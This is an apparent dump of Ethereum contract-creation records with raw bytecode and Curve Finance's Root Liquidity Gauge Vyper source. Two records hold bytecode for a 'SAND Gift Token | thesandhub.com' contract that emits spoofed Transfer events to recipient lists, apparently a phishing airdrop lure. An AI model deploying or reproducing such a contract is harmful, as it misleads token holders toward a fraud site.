856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea264697066735822122080363c820c282466322be79eb5944994ff8e3a2a44001b56ef6a4a649bbaf23864736f6c63430008180033 | |
1 | 19,493,911 | 3d4adf3e5848749f2de43ea7fbe6fb6b655629f795879ca85295f8318f8490e5 | 100bd055d3ce9faaf96b0b1b8f5d997db4f700d1467cd79e7fa3ca974ba9be93 | 8c212d140418242d70ea955c57be544f86758a0b | 8c212d140418242d70ea955c57be544f86758a0b | 309aae7a55be9b5f83c581e6cdbb02599e3b53c5 | 60206109e06080396080518060a01c6109db5760e052602060206109e0016080396080518060a01c6109db5761010052602060406109e0016080396080518060a01c6109db576101205261dead60025560e051610140526101005161016052610120516101805261099f56600436101561000d5761092d565b60046000601c37600051630c33d05a8118610150573461092f57600254331861092f57636a62784260e05230610100526020602038036080396080513b1561092f5760006000602460fc60006020602038036080396080515af1610076573d600060003e3d6000fd5b6370a082316101005230610120526020610100602461011c6020606038036080396080515afa6100ab573d600060003e3d6000fd5b601f3d111561092f576101005160e052600060e0511461092f576001546101005263871217596101605260206060380360803960805161018052306101a05260e0516101c052610100513b1561092f5760006000606461017c6313faede6610120526020610120600461013c610100515afa61012c573d600060003e3d6000fd5b601f3d111561092f5761012051610100515af161014e573d600060003e3d6000fd5b005b63094007078118610196576004358060a01c61092f5760e0523461092f573060e0511861018857600654610100526020610100610194565b60006101005260206101005bf35b634b82009381186104ee576004358060a01c61092f5760e0523461092f57600554610100524262093a8080820490509050610120526101205161010051146104e15763615e52376101405230610160526020604038036080396080513b1561092f5760006000602461015c60006020604038036080396080515af1610220573d600060003e3d6000fd5b60035461014052600454610160526000610180526101a061010051610100818352015b610120516101a05118610255576104bc565b6101a05162093a8080820282158284830414171561092f57905090506101c05263d3078c946102005230610220526101c051610240526020610200604461021c6020604038036080396080515afa6102b2573d600060003e3d6000fd5b601f3d111561092f57610200516101e052610160516101c05111156102d85760006102f6565b6101c05162093a80818183011061092f578082019050905061016051105b61035b5761018080516101e0516101405180820282158284830414171561092f579050905062093a8080820282158284830414171561092f5790509050670de0b6b3a764000080820490509050818183011061092f57808201905090508152506104ac565b61018080516101e0516101405180820282158284830414171561092f5790509050610160516101c05180821061092f578082039050905080820282158284830414171561092f5790509050670de0b6b3a764000080820490509050818183011061092f578082019050905081525061014051670de0b6b3a764000080820282158284830414171561092f5790509050671080e992061ab300808204905090506101405261018080516101e0516101405180820282158284830414171561092f57905090506101c05162093a80818183011061092f57808201905090506101605180821061092f578082039050905080820282158284830414171561092f5790509050670de0b6b3a764000080820490509050818183011061092f578082019050905081525061016080516301e13380818183011061092f578082019050905081525061014051600355610160516004555b8151600101808352811415610243575b5050610120516005556006805461018051818183011061092f57808201905090508155505b6001610140526020610140f35b6390b2299781186105f1576004358060011c61092f5760e0523461092f57638da5cb5b610100526020610100600461011c6002545afa610533573d600060003e3d6000fd5b601f3d111561092f5761010051331861092f5760e0516105e357632c4e722e610100526020610100600461011c6020606038036080396080515afa61057d573d600060003e3d6000fd5b601f3d111561092f576101005160035563b26b238e610140526020610140600461015c60006020606038036080396080515af16105bf573d600060003e3d6000fd5b601f3d111561092f57610140516004554262093a80808204905090506005556105e9565b60006003555b60e051600755005b633ccc3da7811861070e573461092f5763087ca57f61010052600054610120526020610100602461011c6002545afa61062f573d600060003e3d6000fd5b601f3d111561092f57610100518060a01c61092f5760e05263095ea7b361010052600154610120526000610140526020606038036080396080513b1561092f5760006000604461011c60006020606038036080396080515af1610697573d600060003e3d6000fd5b63095ea7b36101005260e051610120527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610140526020606038036080396080513b1561092f5760006000604461011c60006020606038036080396080515af1610706573d600060003e3d6000fd5b60e051600155005b63cd6dc6878118610860576004358060a01c61092f5760e0523461092f5760025461092f5760243560005560e05160015533600255632c4e722e610140526020610140600461015c6020606038036080396080515afa610773573d600060003e3d6000fd5b601f3d111561092f57610140516101005263b26b238e610180526020610180600461019c60006020606038036080396080515af16107b6573d600060003e3d6000fd5b601f3d111561092f5761018051610120526000610100511461092f5761010051600355610120516004554262093a808082049050905060055563095ea7b36101405260e051610160527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610180526020606038036080396080513b1561092f5760006000604461015c60006020606038036080396080515af161085e573d600060003e3d6000fd5b005b633af973b1811861087c573461092f5760005460e052602060e0f35b634d47fc858118610898573461092f5760015460e052602060e0f35b63c45a015581186108b4573461092f5760025460e052602060e0f35b6378de221b81186108d7573461092f5760035460e05260045461010052604060e0f35b636f471ed181186108f3573461092f5760055460e052602060e0f35b63df664d97811861090f573461092f5760065460e052602060e0f35b639c868ac0811861092b573461092f5760075460e052602060e0f35b505b005b600080fd5b61006b61099f0361006b6101a03961006b61099f0361014051816101a0015261016051816101c0015261018051816101e00152806060016101a0f35b600080fd000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd520000000000000000000000002f50d538606fa9edd2b11e2446beb18c9d5846bb000000000000000000000000d061d61a4d941c39e5453435b6345dc261c2fce0 | 600436101561000d5761092d565b60046000601c37600051630c33d05a8118610150573461092f57600254331861092f57636a62784260e05230610100526020602038036080396080513b1561092f5760006000602460fc60006020602038036080396080515af1610076573d600060003e3d6000fd5b6370a082316101005230610120526020610100602461011c6020606038036080396080515afa6100ab573d600060003e3d6000fd5b601f3d111561092f576101005160e052600060e0511461092f576001546101005263871217596101605260206060380360803960805161018052306101a05260e0516101c052610100513b1561092f5760006000606461017c6313faede6610120526020610120600461013c610100515afa61012c573d600060003e3d6000fd5b601f3d111561092f5761012051610100515af161014e573d600060003e3d6000fd5b005b63094007078118610196576004358060a01c61092f5760e0523461092f573060e0511861018857600654610100526020610100610194565b60006101005260206101005bf35b634b82009381186104ee576004358060a01c61092f5760e0523461092f57600554610100524262093a8080820490509050610120526101205161010051146104e15763615e52376101405230610160526020604038036080396080513b1561092f5760006000602461015c60006020604038036080396080515af1610220573d600060003e3d6000fd5b60035461014052600454610160526000610180526101a061010051610100818352015b610120516101a05118610255576104bc565b6101a05162093a8080820282158284830414171561092f57905090506101c05263d3078c946102005230610220526101c051610240526020610200604461021c6020604038036080396080515afa6102b2573d600060003e3d6000fd5b601f3d111561092f57610200516101e052610160516101c05111156102d85760006102f6565b6101c05162093a80818183011061092f578082019050905061016051105b61035b5761018080516101e0516101405180820282158284830414171561092f579050905062093a8080820282158284830414171561092f5790509050670de0b6b3a764000080820490509050818183011061092f57808201905090508152506104ac565b61018080516101e0516101405180820282158284830414171561092f5790509050610160516101c05180821061092f578082039050905080820282158284830414171561092f5790509050670de0b6b3a764000080820490509050818183011061092f578082019050905081525061014051670de0b6b3a764000080820282158284830414171561092f5790509050671080e992061ab300808204905090506101405261018080516101e0516101405180820282158284830414171561092f57905090506101c05162093a80818183011061092f57808201905090506101605180821061092f578082039050905080820282158284830414171561092f5790509050670de0b6b3a764000080820490509050818183011061092f578082019050905081525061016080516301e13380818183011061092f578082019050905081525061014051600355610160516004555b8151600101808352811415610243575b5050610120516005556006805461018051818183011061092f57808201905090508155505b6001610140526020610140f35b6390b2299781186105f1576004358060011c61092f5760e0523461092f57638da5cb5b610100526020610100600461011c6002545afa610533573d600060003e3d6000fd5b601f3d111561092f5761010051331861092f5760e0516105e357632c4e722e610100526020610100600461011c6020606038036080396080515afa61057d573d600060003e3d6000fd5b601f3d111561092f576101005160035563b26b238e610140526020610140600461015c60006020606038036080396080515af16105bf573d600060003e3d6000fd5b601f3d111561092f57610140516004554262093a80808204905090506005556105e9565b60006003555b60e051600755005b633ccc3da7811861070e573461092f5763087ca57f61010052600054610120526020610100602461011c6002545afa61062f573d600060003e3d6000fd5b601f3d111561092f57610100518060a01c61092f5760e05263095ea7b361010052600154610120526000610140526020606038036080396080513b1561092f5760006000604461011c60006020606038036080396080515af1610697573d600060003e3d6000fd5b63095ea7b36101005260e051610120527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610140526020606038036080396080513b1561092f5760006000604461011c60006020606038036080396080515af1610706573d600060003e3d6000fd5b60e051600155005b63cd6dc6878118610860576004358060a01c61092f5760e0523461092f5760025461092f5760243560005560e05160015533600255632c4e722e610140526020610140600461015c6020606038036080396080515afa610773573d600060003e3d6000fd5b601f3d111561092f57610140516101005263b26b238e610180526020610180600461019c60006020606038036080396080515af16107b6573d600060003e3d6000fd5b601f3d111561092f5761018051610120526000610100511461092f5761010051600355610120516004554262093a808082049050905060055563095ea7b36101405260e051610160527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610180526020606038036080396080513b1561092f5760006000604461015c60006020606038036080396080515af161085e573d600060003e3d6000fd5b005b633af973b1811861087c573461092f5760005460e052602060e0f35b634d47fc858118610898573461092f5760015460e052602060e0f35b63c45a015581186108b4573461092f5760025460e052602060e0f35b6378de221b81186108d7573461092f5760035460e05260045461010052604060e0f35b636f471ed181186108f3573461092f5760055460e052602060e0f35b63df664d97811861090f573461092f5760065460e052602060e0f35b639c868ac0811861092b573461092f5760075460e052602060e0f35b505b005b600080fd000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd520000000000000000000000002f50d538606fa9edd2b11e2446beb18c9d5846bb000000000000000000000000d061d61a4d941c39e5453435b6345dc261c2fce0 | # @version 0.3.1
"""
@title Root Liquidity Gauge Implementation
@license MIT
@author Curve Finance
"""
interface Bridger:
def cost() -> uint256: view
def bridge(_token: address, _destination: address, _amount: uint256): payable
interface CRV20:
def rate() -> uint256: view
def future_epoch_time_write() -> uint256: nonpayable
interface ERC20:
def balanceOf(_account: address) -> uint256: view
def approve(_account: address, _value: uint256): nonpayable
def transfer(_to: address, _amount: uint256): nonpayable
interface GaugeController:
def checkpoint_gauge(addr: address): nonpayable
def gauge_relative_weight(addr: address, time: uint256) -> uint256: view
interface Factory:
def get_bridger(_chain_id: uint256) -> address: view
def owner() -> address: view
interface Minter:
def mint(_gauge: address): nonpayable
struct InflationParams:
rate: uint256
finish_time: uint256
WEEK: constant(uint256) = 604800
YEAR: constant(uint256) = 86400 * 365
RATE_DENOMINATOR: constant(uint256) = 10 ** 18
RATE_REDUCTION_COEFFICIENT: constant(uint256) = 1189207115002721024 # 2 ** (1/4) * 1e18
RATE_REDUCTION_TIME: constant(uint256) = YEAR
CRV: immutable(address)
GAUGE_CONTROLLER: immutable(address)
MINTER: immutable(address)
chain_id: public(uint256)
bridger: public(address)
factory: public(address)
inflation_params: public(InflationParams)
last_period: public(uint256)
total_emissions: public(uint256)
is_killed: public(bool)
@external
def __init__(_crv_token: address, _gauge_controller: address, _minter: address):
self.factory = 0x000000000000000000000000000000000000dEaD
# assign immutable variables
CRV = _crv_token
GAUGE_CONTROLLER = _gauge_controller
MINTER = _minter
@payable
@external
def __default__():
pass
@external
def transmit_emissions():
"""
@notice Mint any new emissions and transmit across to child gauge
"""
assert msg.sender == self.factory # dev: call via factory
Minter(MINTER).mint(self)
minted: uint256 = ERC20(CRV).balanceOf(self)
assert minted != 0 # dev: nothing minted
bridger: address = self.bridger
Bridger(bridger).bridge(CRV, self, minted, value=Bridger(bridger).cost())
@view
@external
def integrate_fraction(_user: address) -> uint256:
"""
@notice Query the total emissions `_user` is entitled to
@dev Any value of `_user` other than the gauge address will return 0
"""
if _user == self:
return self.total_emissions
return 0
@external
def user_checkpoint(_user: address) -> bool:
"""
@notice Checkpoint the gauge updating total emissions
@param _user Vestigal parameter with no impact on the function
"""
# the last period we calculated emissions up to (but not including)
last_period: uint256 = self.last_period
# our current period (which we will calculate emissions up to)
current_period: uint256 = block.timestamp / WEEK
# only checkpoint if the current period is greater than the last period
# last period is always less than or equal to current period and we only calculate
# emissions up to current period (not including it)
if last_period != current_period:
# checkpoint the gauge filling in any missing weight data
GaugeController(GAUGE_CONTROLLER).checkpoint_gauge(self)
params: InflationParams = self.inflation_params
emissions: uint256 = 0
# only calculate emissions for at most 256 periods since the last checkpoint
for i in range(last_period, last_period + 256):
if i == current_period:
# don't calculate emissions for the current period
break
period_time: uint256 = i * WEEK
weight: uint256 = GaugeController(GAUGE_CONTROLLER).gauge_relative_weight(self, period_time)
if period_time <= params.finish_time and params.finish_time < period_time + WEEK:
# calculate with old rate
emissions += weight * params.rate * (params.finish_time - period_time) / 10 ** 18
# update rate
params.rate = params.rate * RATE_DENOMINATOR / RATE_REDUCTION_COEFFICIENT
# calculate with new rate
emissions += weight * params.rate * (period_time + WEEK - params.finish_time) / 10 ** 18
# update finish time
params.finish_time += RATE_REDUCTION_TIME
# update storage
self.inflation_params = params
else:
emissions += weight * params.rate * WEEK / 10 ** 18
self.last_period = current_period
self.total_emissions += emissions
return True
@external
def set_killed(_is_killed: bool):
"""
@notice Set the gauge kill status
@dev Inflation params are modified accordingly to disable/enable emissions
"""
assert msg.sender == Factory(self.factory).owner()
if _is_killed:
self.inflation_params.rate = 0
else:
self.inflation_params = InflationParams({
rate: CRV20(CRV).rate(),
finish_time: CRV20(CRV).future_epoch_time_write()
})
self.last_period = block.timestamp / WEEK
self.is_killed = _is_killed
@external
def update_bridger():
"""
@notice Update the bridger used by this contract
@dev Bridger contracts should prevent briding if ever updated
"""
# reset approval
bridger: address = Factory(self.factory).get_bridger(self.chain_id)
ERC20(CRV).approve(self.bridger, 0)
ERC20(CRV).approve(bridger, MAX_UINT256)
self.bridger = bridger
@external
def initialize(_bridger: address, _chain_id: uint256):
"""
@notice Proxy initialization method
"""
assert self.factory == ZERO_ADDRESS # dev: already initialized
self.chain_id = _chain_id
self.bridger = _bridger
self.factory = msg.sender
inflation_params: InflationParams = InflationParams({
rate: CRV20(CRV).rate(),
finish_time: CRV20(CRV).future_epoch_time_write()
})
assert inflation_params.rate != 0
self.inflation_params = inflation_params
self.last_period = block.timestamp / WEEK
ERC20(CRV).approve(_bridger, MAX_UINT256) |
1 | 19,493,912 | 9bfe9a0a4186828108db34dff57d15f2a6c88b69a6ab867552c7772c551ecae0 | 0f726ef9c4d2b4a1a5e896a91d71c3303978fd29b3ec3e9150ed3fd5e947b7d7 | 17e114a14ebb35a22910f9ae3f41bb5050455f85 | 17e114a14ebb35a22910f9ae3f41bb5050455f85 | 3bb32f84ccd9e80de27f2884bb3999056ffaf1cb | 60806040525f600255733845badade8e6dff049820680d1f14bd3903a5d060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063a33b416614610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea264697066735822122012f392d9147a93036601c55fcf6c532966a5cad2d21fb42bcc5d1b16e67c6b0d64736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000022232053414e44204769667420546f6b656e207c2074686573616e646875622e636f6d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002053414e44204769667420546f6b656e207c2074686573616e646875622e636f6d | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063a33b416614610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea264697066735822122012f392d9147a93036601c55fcf6c532966a5cad2d21fb42bcc5d1b16e67c6b0d64736f6c63430008180033 | |
1 | 19,493,914 | 71b7d8617885af06fc0ecc5a60608d1d47b17dadb9a95d5d8cb1da27df46021f | 3b1cf91f68fa2a71ea4e9d5f3d2d20c44159d57ab077a3c4969d21636b2f44a9 | d3f8100bed99266a9f0c5f602f39cd4ff3372c34 | d3f8100bed99266a9f0c5f602f39cd4ff3372c34 | dc0d18042b87ace744fe6c4df14fc20bc817a1d4 | 60806040525f600255733506424f91fd33084466f402d5d97f05f8e3b4af60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f5260226004526024